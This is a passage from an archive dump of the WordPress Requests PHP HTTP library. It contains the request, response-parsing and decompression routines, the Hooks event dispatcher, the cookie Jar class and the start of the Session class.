	public static function head($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::HEAD, $options);
	}

	/**
	 * Send a DELETE request
	 */
	public static function delete($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::DELETE, $options);
	}

	/**
	 * Send a TRACE request
	 */
	public static function trace($url, $headers = [], $options = []) {
		return self::request($url, $headers, null, self::TRACE, $options);
	}
	/**#@-*/

	/**#@+
	 * @see \WpOrg\Requests\Requests::request()
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param array $options
	 * @return \WpOrg\Requests\Response
	 */
	/**
	 * Send a POST request
	 */
	public static function post($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::POST, $options);
	}
	/**
	 * Send a PUT request
	 */
	public static function put($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::PUT, $options);
	}

	/**
	 * Send an OPTIONS request
	 */
	public static function options($url, $headers = [], $data = [], $options = []) {
		return self::request($url, $headers, $data, self::OPTIONS, $options);
	}

	/**
	 * Send a PATCH request
	 *
	 * Note: Unlike {@see \WpOrg\Requests\Requests::post()} and {@see \WpOrg\Requests\Requests::put()},
	 * `$headers` is required, as the specification recommends that should send an ETag
	 *
	 * @link https://tools.ietf.org/html/rfc5789
	 */
	public static function patch($url, $headers, $data = [], $options = []) {
		return self::request($url, $headers, $data, self::PATCH, $options);
	}
	/**#@-*/

	/**
	 * Main interface for HTTP requests
	 *
	 * This method initiates a request and sends it via a transport before
	 * parsing.
	 *
	 * The `$options` parameter takes an associative array with the following
	 * options:
	 *
	 * - `timeout`: How long should we wait for a response?
	 *    Note: for cURL, a minimum of 1 second applies, as DNS resolution
	 *    operates at second-resolution only.
	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
	 * - `connect_timeout`: How long should we wait while trying to connect?
	 *    (float, seconds with a millisecond precision, default: 10, example: 0.01)
	 * - `useragent`: Useragent to send to the server
	 *    (string, default: php-requests/$version)
	 * - `follow_redirects`: Should we follow 3xx redirects?
	 *    (boolean, default: true)
	 * - `redirects`: How many times should we redirect before erroring?
	 *    (integer, default: 10)
	 * - `blocking`: Should we block processing on this request?
	 *    (boolean, default: true)
	 * - `filename`: File to stream the body to instead.
	 *    (string|boolean, default: false)
	 * - `auth`: Authentication handler or array of user/password details to use
	 *    for Basic authentication
	 *    (\WpOrg\Requests\Auth|array|boolean, default: false)
	 * - `proxy`: Proxy details to use for proxy by-passing and authentication
	 *    (\WpOrg\Requests\Proxy|array|string|boolean, default: false)
	 * - `max_bytes`: Limit for the response body size.
	 *    (integer|boolean, default: false)
	 * - `idn`: Enable IDN parsing
	 *    (boolean, default: true)
	 * - `transport`: Custom transport. Either a class name, or a
	 *    transport object. Defaults to the first working transport from
	 *    {@see \WpOrg\Requests\Requests::getTransport()}
	 *    (string|\WpOrg\Requests\Transport, default: {@see \WpOrg\Requests\Requests::getTransport()})
	 * - `hooks`: Hooks handler.
	 *    (\WpOrg\Requests\HookManager, default: new WpOrg\Requests\Hooks())
	 * - `verify`: Should we verify SSL certificates? Allows passing in a custom
	 *    certificate file as a string. (Using true uses the system-wide root
	 *    certificate store instead, but this may have different behaviour
	 *    across transports.)
	 *    (string|boolean, default: certificates/cacert.pem)
	 * - `verifyname`: Should we verify the common name in the SSL certificate?
	 *    (boolean, default: true)
	 * - `data_format`: How should we send the `$data` parameter?
	 *    (string, one of 'query' or 'body', default: 'query' for
	 *    HEAD/GET/DELETE, 'body' for POST/PUT/OPTIONS/PATCH)
	 *
	 * @param string|Stringable $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type (use Requests constants)
	 * @param array $options Options for the request (see description for more information)
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $type argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`)
	 */
	public static function request($url, $headers = [], $data = [], $type = self::GET, $options = []) {
		if (InputValidator::is_string_or_stringable($url) === false) {
			throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url));
		}

		if (is_string($type) === false) {
			throw InvalidArgument::create(4, '$type', 'string', gettype($type));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(5, '$options', 'array', gettype($options));
		}

		if (empty($options['type'])) {
			$options['type'] = $type;
		}

		$options = array_merge(self::get_default_options(), $options);

		self::set_defaults($url, $headers, $data, $type, $options);

		$options['hooks']->dispatch('requests.before_request', [&$url, &$headers, &$data, &$type, &$options]);

		if (!empty($options['transport'])) {
			$transport = $options['transport'];

			if (is_string($options['transport'])) {
				$transport = new $transport();
			}
		} else {
			$need_ssl     = (stripos($url, 'https://') === 0);
			$capabilities = [Capability::SSL => $need_ssl];
			$transport    = self::get_transport($capabilities);
		}

		$response = $transport->request($url, $headers, $data, $options);

		$options['hooks']->dispatch('requests.before_parse', [&$response, $url, $headers, $data, $type, $options]);

		return self::parse_response($response, $url, $headers, $data, $options);
	}

	/**
	 * Send multiple HTTP requests simultaneously
	 *
	 * The `$requests` parameter takes an associative or indexed array of
	 * request fields. The key of each request can be used to match up the
	 * request with the returned data, or with the request passed into your
	 * `multiple.request.complete` callback.
	 *
	 * The request fields value is an associative array with the following keys:
	 *
	 * - `url`: Request URL Same as the `$url` parameter to
	 *    {@see \WpOrg\Requests\Requests::request()}
	 *    (string, required)
	 * - `headers`: Associative array of header fields. Same as the `$headers`
	 *    parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (array, default: `array()`)
	 * - `data`: Associative array of data fields or a string. Same as the
	 *    `$data` parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (array|string, default: `array()`)
	 * - `type`: HTTP request type (use \WpOrg\Requests\Requests constants). Same as the `$type`
	 *    parameter to {@see \WpOrg\Requests\Requests::request()}
	 *    (string, default: `\WpOrg\Requests\Requests::GET`)
	 * - `cookies`: Associative array of cookie name to value, or cookie jar.
	 *    (array|\WpOrg\Requests\Cookie\Jar)
	 *
	 * If the `$options` parameter is specified, individual requests will
	 * inherit options from it. This can be used to use a single hooking system,
	 * or set all the types to `\WpOrg\Requests\Requests::POST`, for example.
	 *
	 * In addition, the `$options` parameter takes the following global options:
	 *
	 * - `complete`: A callback for when a request is complete. Takes two
	 *    parameters, a \WpOrg\Requests\Response/\WpOrg\Requests\Exception reference, and the
	 *    ID from the request array (Note: this can also be overridden on a
	 *    per-request basis, although that's a little silly)
	 *    (callback)
	 *
	 * @param array $requests Requests data (see description for more information)
	 * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()})
	 * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object)
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array.
	 */
	public static function request_multiple($requests, $options = []) {
		if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) {
			throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests));
		}

		if (is_array($options) === false) {
			throw InvalidArgument::create(2, '$options', 'array', gettype($options));
		}

		$options = array_merge(self::get_default_options(true), $options);

		if (!empty($options['hooks'])) {
			$options['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
			if (!empty($options['complete'])) {
				$options['hooks']->register('multiple.request.complete', $options['complete']);
			}
		}

		foreach ($requests as $id => &$request) {
			if (!isset($request['headers'])) {
				$request['headers'] = [];
			}

			if (!isset($request['data'])) {
				$request['data'] = [];
			}

			if (!isset($request['type'])) {
				$request['type'] = self::GET;
			}

			if (!isset($request['options'])) {
				$request['options']         = $options;
				$request['options']['type'] = $request['type'];
			} else {
				if (empty($request['options']['type'])) {
					$request['options']['type'] = $request['type'];
				}

				$request['options'] = array_merge($options, $request['options']);
			}

			self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']);

			// Ensure we only hook in once
			if ($request['options']['hooks'] !== $options['hooks']) {
				$request['options']['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']);
				if (!empty($request['options']['complete'])) {
					$request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']);
				}
			}
		}

		unset($request);

		if (!empty($options['transport'])) {
			$transport = $options['transport'];

			if (is_string($options['transport'])) {
				$transport = new $transport();
			}
		} else {
			$transport = self::get_transport();
		}

		$responses = $transport->request_multiple($requests, $options);

		foreach ($responses as $id => &$response) {
			// If our hook got messed with somehow, ensure we end up with the
			// correct response
			if (is_string($response)) {
				$request = $requests[$id];
				self::parse_multiple($response, $request);
				$request['options']['hooks']->dispatch('multiple.request.complete', [&$response, $id]);
			}
		}

		return $responses;
	}

	/**
	 * Get the default options
	 *
	 * @see \WpOrg\Requests\Requests::request() for values returned by this method
	 * @param boolean $multirequest Is this a multirequest?
	 * @return array Default option values
	 */
	protected static function get_default_options($multirequest = false) {
		$defaults           = static::OPTION_DEFAULTS;
		$defaults['verify'] = self::$certificate_path;

		if ($multirequest !== false) {
			$defaults['complete'] = null;
		}

		return $defaults;
	}

	/**
	 * Get default certificate path.
	 *
	 * @return string Default certificate path.
	 */
	public static function get_certificate_path() {
		return self::$certificate_path;
	}

	/**
	 * Set default certificate path.
	 *
	 * @param string|Stringable|bool $path Certificate path, pointing to a PEM file.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or boolean.
	 */
	public static function set_certificate_path($path) {
		if (InputValidator::is_string_or_stringable($path) === false && is_bool($path) === false) {
			throw InvalidArgument::create(1, '$path', 'string|Stringable|bool', gettype($path));
		}

		self::$certificate_path = $path;
	}

	/**
	 * Set the default values
	 *
	 * The $options parameter is updated with the results.
	 *
	 * @param string $url URL to request
	 * @param array $headers Extra headers to send with the request
	 * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests
	 * @param string $type HTTP request type
	 * @param array $options Options for the request
	 * @return void
	 *
	 * @throws \WpOrg\Requests\Exception When the $url is not an http(s) URL.
	 */
	protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) {
		if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) {
			throw new Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url);
		}

		if (empty($options['hooks'])) {
			$options['hooks'] = new Hooks();
		}

		if (is_array($options['auth'])) {
			$options['auth'] = new Basic($options['auth']);
		}

		if ($options['auth'] !== false) {
			$options['auth']->register($options['hooks']);
		}

		if (is_string($options['proxy']) || is_array($options['proxy'])) {
			$options['proxy'] = new Http($options['proxy']);
		}

		if ($options['proxy'] !== false) {
			$options['proxy']->register($options['hooks']);
		}

		if (is_array($options['cookies'])) {
			$options['cookies'] = new Jar($options['cookies']);
		} elseif (empty($options['cookies'])) {
			$options['cookies'] = new Jar();
		}

		if ($options['cookies'] !== false) {
			$options['cookies']->register($options['hooks']);
		}

		if ($options['idn'] !== false) {
			$iri       = new Iri($url);
			$iri->host = IdnaEncoder::encode($iri->ihost);
			$url       = $iri->uri;
		}

		// Massage the type to ensure we support it.
		$type = strtoupper($type);

		if (!isset($options['data_format'])) {
			if (in_array($type, [self::HEAD, self::GET, self::DELETE], true)) {
				$options['data_format'] = 'query';
			} else {
				$options['data_format'] = 'body';
			}
		}
	}

	/**
	 * HTTP response parser
	 *
	 * @param string $headers Full response text including headers and body
	 * @param string $url Original request URL
	 * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects
	 * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects
	 * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects
	 * @return \WpOrg\Requests\Response
	 *
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`requests.no_crlf_separator`)
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`noversion`)
	 * @throws \WpOrg\Requests\Exception On missing head/body separator (`toomanyredirects`)
	 */
	protected static function parse_response($headers, $url, $req_headers, $req_data, $options) {
		$return = new Response();
		if (!$options['blocking']) {
			return $return;
		}

		$return->raw  = $headers;
		$return->url  = (string) $url;
		$return->body = '';

		if (!$options['filename']) {
			$pos = strpos($headers, "\r\n\r\n");
			if ($pos === false) {
				// Crap!
				throw new Exception('Missing header/body separator', 'requests.no_crlf_separator');
			}

			$headers = substr($return->raw, 0, $pos);
			// Headers will always be separated from the body by two new lines - `\n\r\n\r`.
			$body = substr($return->raw, $pos + 4);
			if (!empty($body)) {
				$return->body = $body;
			}
		}

		// Pretend CRLF = LF for compatibility (RFC 2616, section 19.3)
		$headers = str_replace("\r\n", "\n", $headers);
		// Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2)
		$headers = preg_replace('/\n[ \t]/', ' ', $headers);
		$headers = explode("\n", $headers);
		preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches);
		if (empty($matches)) {
			throw new Exception('Response could not be parsed', 'noversion', $headers);
		}

		$return->protocol_version = (float) $matches[1];
		$return->status_code      = (int) $matches[2];
		if ($return->status_code >= 200 && $return->status_code < 300) {
			$return->success = true;
		}

		foreach ($headers as $header) {
			list($key, $value) = explode(':', $header, 2);
			$value             = trim($value);
			preg_replace('#(\s+)#i', ' ', $value);
			$return->headers[$key] = $value;
		}

		if (isset($return->headers['transfer-encoding'])) {
			$return->body = self::decode_chunked($return->body);
			unset($return->headers['transfer-encoding']);
		}

		if (isset($return->headers['content-encoding'])) {
			$return->body = self::decompress($return->body);
		}

		//fsockopen and cURL compatibility
		if (isset($return->headers['connection'])) {
			unset($return->headers['connection']);
		}

		$options['hooks']->dispatch('requests.before_redirect_check', [&$return, $req_headers, $req_data, $options]);

		if ($return->is_redirect() && $options['follow_redirects'] === true) {
			if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) {
				if ($return->status_code === 303) {
					$options['type'] = self::GET;
				}

				$options['redirected']++;
				$location = $return->headers['location'];
				if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) {
					// relative redirect, for compatibility make it absolute
					$location = Iri::absolutize($url, $location);
					$location = $location->uri;
				}

				$hook_args = [
					&$location,
					&$req_headers,
					&$req_data,
					&$options,
					$return,
				];
				$options['hooks']->dispatch('requests.before_redirect', $hook_args);
				$redirected            = self::request($location, $req_headers, $req_data, $options['type'], $options);
				$redirected->history[] = $return;
				return $redirected;
			} elseif ($options['redirected'] >= $options['redirects']) {
				throw new Exception('Too many redirects', 'toomanyredirects', $return);
			}
		}

		$return->redirects = $options['redirected'];

		$options['hooks']->dispatch('requests.after_request', [&$return, $req_headers, $req_data, $options]);
		return $return;
	}

	/**
	 * Callback for `transport.internal.parse_response`
	 *
	 * Internal use only. Converts a raw HTTP response to a \WpOrg\Requests\Response
	 * while still executing a multiple request.
	 *
	 * `$response` is either set to a \WpOrg\Requests\Response instance, or a \WpOrg\Requests\Exception object
	 *
	 * @param string $response Full response text including headers and body (will be overwritten with Response instance)
	 * @param array $request Request data as passed into {@see \WpOrg\Requests\Requests::request_multiple()}
	 * @return void
	 */
	public static function parse_multiple(&$response, $request) {
		try {
			$url      = $request['url'];
			$headers  = $request['headers'];
			$data     = $request['data'];
			$options  = $request['options'];
			$response = self::parse_response($response, $url, $headers, $data, $options);
		} catch (Exception $e) {
			$response = $e;
		}
	}

	/**
	 * Decoded a chunked body as per RFC 2616
	 *
	 * @link https://tools.ietf.org/html/rfc2616#section-3.6.1
	 * @param string $data Chunked body
	 * @return string Decoded body
	 */
	protected static function decode_chunked($data) {
		if (!preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', trim($data))) {
			return $data;
		}

		$decoded = '';
		$encoded = $data;

		while (true) {
			$is_chunked = (bool) preg_match('/^([0-9a-f]+)(?:;(?:[\w-]*)(?:=(?:(?:[\w-]*)*|"(?:[^\r\n])*"))?)*\r\n/i', $encoded, $matches);
			if (!$is_chunked) {
				// Looks like it's not chunked after all
				return $data;
			}

			$length = hexdec(trim($matches[1]));
			if ($length === 0) {
				// Ignore trailer headers
				return $decoded;
			}

			$chunk_length = strlen($matches[0]);
			$decoded     .= substr($encoded, $chunk_length, $length);
			$encoded      = substr($encoded, $chunk_length + $length + 2);

			if (trim($encoded) === '0' || empty($encoded)) {
				return $decoded;
			}
		}

		// We'll never actually get down here
		// @codeCoverageIgnoreStart
	}
	// @codeCoverageIgnoreEnd

	/**
	 * Convert a key => value array to a 'key: value' array for headers
	 *
	 * @param iterable $dictionary Dictionary of header values
	 * @return array List of headers
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not iterable.
	 */
	public static function flatten($dictionary) {
		if (InputValidator::is_iterable($dictionary) === false) {
			throw InvalidArgument::create(1, '$dictionary', 'iterable', gettype($dictionary));
		}

		$return = [];
		foreach ($dictionary as $key => $value) {
			$return[] = sprintf('%s: %s', $key, $value);
		}

		return $return;
	}

	/**
	 * Decompress an encoded body
	 *
	 * Implements gzip, compress and deflate. Guesses which it is by attempting
	 * to decode.
	 *
	 * @param string $data Compressed data in one of the above formats
	 * @return string Decompressed string
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
	 */
	public static function decompress($data) {
		if (is_string($data) === false) {
			throw InvalidArgument::create(1, '$data', 'string', gettype($data));
		}

		if (trim($data) === '') {
			// Empty body does not need further processing.
			return $data;
		}

		$marker = substr($data, 0, 2);
		if (!isset(self::$magic_compression_headers[$marker])) {
			// Not actually compressed. Probably cURL ruining this for us.
			return $data;
		}

		if (function_exists('gzdecode')) {
			$decoded = @gzdecode($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		if (function_exists('gzinflate')) {
			$decoded = @gzinflate($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		$decoded = self::compatible_gzinflate($data);
		if ($decoded !== false) {
			return $decoded;
		}

		if (function_exists('gzuncompress')) {
			$decoded = @gzuncompress($data);
			if ($decoded !== false) {
				return $decoded;
			}
		}

		return $data;
	}

	/**
	 * Decompression of deflated string while staying compatible with the majority of servers.
	 *
	 * Certain Servers will return deflated data with headers which PHP's gzinflate()
	 * function cannot handle out of the box. The following function has been created from
	 * various snippets on the gzinflate() PHP documentation.
	 *
	 * Warning: Magic numbers within. Due to the potential different formats that the compressed
	 * data may be returned in, some "magic offsets" are needed to ensure proper decompression
	 * takes place. For a simple progmatic way to determine the magic offset in use, see:
	 * https://core.trac.wordpress.org/ticket/18273
	 *
	 * @since 1.6.0
	 * @link https://core.trac.wordpress.org/ticket/18273
	 * @link https://www.php.net/gzinflate#70875
	 * @link https://www.php.net/gzinflate#77336
	 *
	 * @param string $gz_data String to decompress.
	 * @return string|bool False on failure.
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string.
	 */
	public static function compatible_gzinflate($gz_data) {
		if (is_string($gz_data) === false) {
			throw InvalidArgument::create(1, '$gz_data', 'string', gettype($gz_data));
		}

		if (trim($gz_data) === '') {
			return false;
		}

		// Compressed data might contain a full zlib header, if so strip it for
		// gzinflate()
		if (substr($gz_data, 0, 3) === "\x1f\x8b\x08") {
			$i   = 10;
			$flg = ord(substr($gz_data, 3, 1));
			if ($flg > 0) {
				if ($flg & 4) {
					list($xlen) = unpack('v', substr($gz_data, $i, 2));
					$i         += 2 + $xlen;
				}

				if ($flg & 8) {
					$i = strpos($gz_data, "\0", $i) + 1;
				}

				if ($flg & 16) {
					$i = strpos($gz_data, "\0", $i) + 1;
				}

				if ($flg & 2) {
					$i += 2;
				}
			}

			$decompressed = self::compatible_gzinflate(substr($gz_data, $i));
			if ($decompressed !== false) {
				return $decompressed;
			}
		}

		// If the data is Huffman Encoded, we must first strip the leading 2
		// byte Huffman marker for gzinflate()
		// The response is Huffman coded by many compressors such as
		// java.util.zip.Deflater, Ruby's Zlib::Deflate, and .NET's
		// System.IO.Compression.DeflateStream.
		//
		// See https://decompres.blogspot.com/ for a quick explanation of this
		// data type
		$huffman_encoded = false;

		// low nibble of first byte should be 0x08
		list(, $first_nibble) = unpack('h', $gz_data);

		// First 2 bytes should be divisible by 0x1F
		list(, $first_two_bytes) = unpack('n', $gz_data);

		if ($first_nibble === 0x08 && ($first_two_bytes % 0x1F) === 0) {
			$huffman_encoded = true;
		}

		if ($huffman_encoded) {
			$decompressed = @gzinflate(substr($gz_data, 2));
			if ($decompressed !== false) {
				return $decompressed;
			}
		}

		if (substr($gz_data, 0, 4) === "\x50\x4b\x03\x04") {
			// ZIP file format header
			// Offset 6: 2 bytes, General-purpose field
			// Offset 26: 2 bytes, filename length
			// Offset 28: 2 bytes, optional field length
			// Offset 30: Filename field, followed by optional field, followed
			// immediately by data
			list(, $general_purpose_flag) = unpack('v', substr($gz_data, 6, 2));

			// If the file has been compressed on the fly, 0x08 bit is set of
			// the general purpose field. We can use this to differentiate
			// between a compressed document, and a ZIP file
			$zip_compressed_on_the_fly = ((0x08 & $general_purpose_flag) === 0x08);

			if (!$zip_compressed_on_the_fly) {
				// Don't attempt to decode a compressed zip file
				return $gz_data;
			}

			// Determine the first byte of data, based on the above ZIP header
			// offsets:
			$first_file_start = array_sum(unpack('v2', substr($gz_data, 26, 4)));
			$decompressed     = @gzinflate(substr($gz_data, 30 + $first_file_start));
			if ($decompressed !== false) {
				return $decompressed;
			}

			return false;
		}

		// Finally fall back to straight gzinflate
		$decompressed = @gzinflate($gz_data);
		if ($decompressed !== false) {
			return $decompressed;
		}

		// Fallback for all above failing, not expected, but included for
		// debugging and preventing regressions and to track stats
		$decompressed = @gzinflate(substr($gz_data, 2));
		if ($decompressed !== false) {
			return $decompressed;
		}

		return false;
	}
}
Hooks.php000064400000005730151450174520006351 0ustar00<?php
/**
 * Handles adding and dispatching events
 *
 * @package Requests\EventDispatcher
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\HookManager;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Handles adding and dispatching events
 *
 * @package Requests\EventDispatcher
 */
class Hooks implements HookManager {
	/**
	 * Registered callbacks for each hook
	 *
	 * @var array
	 */
	protected $hooks = [];

	/**
	 * Register a callback for a hook
	 *
	 * @param string $hook Hook name
	 * @param callable $callback Function/method to call on event
	 * @param int $priority Priority number. <0 is executed earlier, >0 is executed later
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $callback argument is not callable.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $priority argument is not an integer.
	 */
	public function register($hook, $callback, $priority = 0) {
		if (is_string($hook) === false) {
			throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
		}

		if (is_callable($callback) === false) {
			throw InvalidArgument::create(2, '$callback', 'callable', gettype($callback));
		}

		if (InputValidator::is_numeric_array_key($priority) === false) {
			throw InvalidArgument::create(3, '$priority', 'integer', gettype($priority));
		}

		if (!isset($this->hooks[$hook])) {
			$this->hooks[$hook] = [
				$priority => [],
			];
		} elseif (!isset($this->hooks[$hook][$priority])) {
			$this->hooks[$hook][$priority] = [];
		}

		$this->hooks[$hook][$priority][] = $callback;
	}

	/**
	 * Dispatch a message
	 *
	 * @param string $hook Hook name
	 * @param array $parameters Parameters to pass to callbacks
	 * @return boolean Successfulness
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $hook argument is not a string.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $parameters argument is not an array.
	 */
	public function dispatch($hook, $parameters = []) {
		if (is_string($hook) === false) {
			throw InvalidArgument::create(1, '$hook', 'string', gettype($hook));
		}

		// Check strictly against array, as Array* objects don't work in combination with `call_user_func_array()`.
		if (is_array($parameters) === false) {
			throw InvalidArgument::create(2, '$parameters', 'array', gettype($parameters));
		}

		if (empty($this->hooks[$hook])) {
			return false;
		}

		if (!empty($parameters)) {
			// Strip potential keys from the array to prevent them being interpreted as parameter names in PHP 8.0.
			$parameters = array_values($parameters);
		}

		ksort($this->hooks[$hook]);

		foreach ($this->hooks[$hook] as $priority => $hooked) {
			foreach ($hooked as $callback) {
				$callback(...$parameters);
			}
		}

		return true;
	}

	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
Cookie/Jar.php000064400000010413151450174520007205 0ustar00<?php
/**
 * Cookie holder object
 *
 * @package Requests\Cookies
 */

namespace WpOrg\Requests\Cookie;

use ArrayAccess;
use ArrayIterator;
use IteratorAggregate;
use ReturnTypeWillChange;
use WpOrg\Requests\Cookie;
use WpOrg\Requests\Exception;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\HookManager;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Response;

/**
 * Cookie holder object
 *
 * @package Requests\Cookies
 */
class Jar implements ArrayAccess, IteratorAggregate {
	/**
	 * Actual item data
	 *
	 * @var array
	 */
	protected $cookies = [];

	/**
	 * Create a new jar
	 *
	 * @param array $cookies Existing cookie values
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not an array.
	 */
	public function __construct($cookies = []) {
		if (is_array($cookies) === false) {
			throw InvalidArgument::create(1, '$cookies', 'array', gettype($cookies));
		}

		$this->cookies = $cookies;
	}

	/**
	 * Normalise cookie data into a \WpOrg\Requests\Cookie
	 *
	 * @param string|\WpOrg\Requests\Cookie $cookie Cookie header value, possibly pre-parsed (object).
	 * @param string                        $key    Optional. The name for this cookie.
	 * @return \WpOrg\Requests\Cookie
	 */
	public function normalize_cookie($cookie, $key = '') {
		if ($cookie instanceof Cookie) {
			return $cookie;
		}

		return Cookie::parse($cookie, $key);
	}

	/**
	 * Check if the given item exists
	 *
	 * @param string $offset Item key
	 * @return boolean Does the item exist?
	 */
	#[ReturnTypeWillChange]
	public function offsetExists($offset) {
		return isset($this->cookies[$offset]);
	}

	/**
	 * Get the value for the item
	 *
	 * @param string $offset Item key
	 * @return string|null Item value (null if offsetExists is false)
	 */
	#[ReturnTypeWillChange]
	public function offsetGet($offset) {
		if (!isset($this->cookies[$offset])) {
			return null;
		}

		return $this->cookies[$offset];
	}

	/**
	 * Set the given item
	 *
	 * @param string $offset Item name
	 * @param string $value Item value
	 *
	 * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
	 */
	#[ReturnTypeWillChange]
	public function offsetSet($offset, $value) {
		if ($offset === null) {
			throw new Exception('Object is a dictionary, not a list', 'invalidset');
		}

		$this->cookies[$offset] = $value;
	}

	/**
	 * Unset the given header
	 *
	 * @param string $offset The key for the item to unset.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset($offset) {
		unset($this->cookies[$offset]);
	}

	/**
	 * Get an iterator for the data
	 *
	 * @return \ArrayIterator
	 */
	#[ReturnTypeWillChange]
	public function getIterator() {
		return new ArrayIterator($this->cookies);
	}

	/**
	 * Register the cookie handler with the request's hooking system
	 *
	 * @param \WpOrg\Requests\HookManager $hooks Hooking system
	 */
	public function register(HookManager $hooks) {
		$hooks->register('requests.before_request', [$this, 'before_request']);
		$hooks->register('requests.before_redirect_check', [$this, 'before_redirect_check']);
	}

	/**
	 * Add Cookie header to a request if we have any
	 *
	 * As per RFC 6265, cookies are separated by '; '
	 *
	 * @param string $url
	 * @param array $headers
	 * @param array $data
	 * @param string $type
	 * @param array $options
	 */
	public function before_request($url, &$headers, &$data, &$type, &$options) {
		if (!$url instanceof Iri) {
			$url = new Iri($url);
		}

		if (!empty($this->cookies)) {
			$cookies = [];
			foreach ($this->cookies as $key => $cookie) {
				$cookie = $this->normalize_cookie($cookie, $key);

				// Skip expired cookies
				if ($cookie->is_expired()) {
					continue;
				}

				if ($cookie->domain_matches($url->host)) {
					$cookies[] = $cookie->format_for_header();
				}
			}

			$headers['Cookie'] = implode('; ', $cookies);
		}
	}

	/**
	 * Parse all cookies from a response and attach them to the response
	 *
	 * @param \WpOrg\Requests\Response $response Response as received.
	 */
	public function before_redirect_check(Response $response) {
		$url = $response->url;
		if (!$url instanceof Iri) {
			$url = new Iri($url);
		}

		$cookies           = Cookie::parse_from_headers($response->headers, $url);
		$this->cookies     = array_merge($this->cookies, $cookies);
		$response->cookies = $this;
	}
}
Session.php000064400000021623151450174520006710 0ustar00<?php
/**
 * Session handler for persistent requests and default parameters
 *
 * @package Requests\SessionHandler
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Cookie\Jar;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Iri;
use WpOrg\Requests\Requests;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Session handler for persistent requests and default parameters
 *
 * Allows various options to be set as default values, and merges both the
 * options and URL properties together. A base URL can be set for all requests,
 * with all subrequests resolved from this. Base options can be set (including
 * a shared cookie jar), then overridden for individual requests.
 *
 * @package Requests\SessionHandler
 */
class Session {
	/**
	 * Base URL for requests
	 *
	 * URLs will be made absolute using this as the base
	 *
	 * @var string|null
	 */
	public $url = null;

	/**
	 * Base headers for requests
	 *
	 * @var array
	 */
	public $headers = [];

	/**
	 * Base data for requests
	 *
	 * If both the base data and the per-request data are arrays, the data will
	 * be merged before sending the request.
	 *
	 * @var array
	 */
	public $data = [];

	/**
	 * Base options for requests
	 *
	 * The base options are merged with the per-request data for each request.
	 * The only default option is a shared cookie jar between requests.
	 *
	 * Values here can also be set directly via properties on the Session
	 * object, e.g. `$session->useragent = 'X';`
	 *
	 * @var array
	 */
	public $options = [];

	/**
	 * Create a new session
	 *
